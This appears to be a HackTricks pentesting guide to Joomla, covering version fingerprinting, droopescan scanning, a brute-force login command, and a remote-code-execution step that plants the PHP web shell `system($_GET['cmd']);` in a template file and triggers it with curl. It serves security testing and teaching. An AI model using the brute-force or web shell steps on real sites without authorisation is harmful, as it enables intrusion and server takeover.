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126 lines
6.3 KiB
Markdown
126 lines
6.3 KiB
Markdown
# Joomla
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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### Joomla Statistics
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Joomla collects some anonymous [usage statistics](https://developer.joomla.org/about/stats.html) such as the breakdown of Joomla, PHP and database versions and server operating systems in use on Joomla installations. This data can be queried via their public [API](https://developer.joomla.org/about/stats/api.html).
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```bash
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curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
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{
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"data": {
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"cms_version": {
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"3.0": 0,
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"3.1": 0,
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"3.10": 6.33,
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"3.2": 0.01,
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"3.3": 0.02,
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"3.4": 0.05,
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"3.5": 12.24,
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"3.6": 22.85,
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"3.7": 7.99,
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"3.8": 17.72,
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"3.9": 27.24,
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"4.0": 3.21,
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"4.1": 1.53,
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"4.2": 0.82,
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"4.3": 0,
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"5.0": 0
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},
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"total": 2951032
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}
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}
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```
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## Enumeration
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### Discovery/Footprinting
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* Check the **meta**
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```bash
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curl https://www.joomla.org/ | grep Joomla | grep generator
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<meta name="generator" content="Joomla! - Open Source Content Management" />
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```
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* robots.txt
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```
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# If the Joomla site is installed within a folder
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# eg www.example.com/joomla/ then the robots.txt file
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# MUST be moved to the site root
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# eg www.example.com/robots.txt
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# AND the joomla folder name MUST be prefixed to all of the
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# paths.
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[...]
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```
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* README.txt
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```
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1- What is this?
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* This is a Joomla! installation/upgrade package to version 3.x
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* Joomla! Official site: https://www.joomla.org
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* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
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* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
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```
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### Version
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* In **/administrator/manifests/files/joomla.xml **_**** you can see the version._
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* In **/language/en-GB/en-GB.xml** you can get the version of Joomla.
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* In **plugins/system/cache/cache.xml** you can see an approximate version.
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### Automatic
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```bash
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droopescan scan joomla --url http://joomla-site.local/
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```
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In[ **80,443 - Pentesting Web Methodology is a section about CMS scanners**](./#cms-scanners) that can scan Joomla.
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### Brute-Force
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You can use this [script](https://github.com/ajnik/joomla-bruteforce) to attempt to brute force the login.
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```shell-session
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sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
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admin:admin
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```
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## RCE
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If you managed to get **admin credentials** you can **RCE inside of it** by adding a snippet of **PHP code** to gain **RCE**. We can do this by **customizing** a **template**.
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1. **Click** on **`Templates`** on the bottom left under `Configuration` to pull up the templates menu.
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2. **Click** on a **template** name. Let's choose **`protostar`** under the `Template` column header. This will bring us to the **`Templates: Customise`** page.
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3. Finally, you can click on a page to pull up the **page source**. Let's choose the **`error.php`** page. We'll add a **PHP one-liner to gain code execution** as follows:
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1. **`system($_GET['cmd']);`**
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4. **Save & Close**
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5. `curl -s http://joomla-site.local/templates/protostar/error.php/error.php?cmd=id`
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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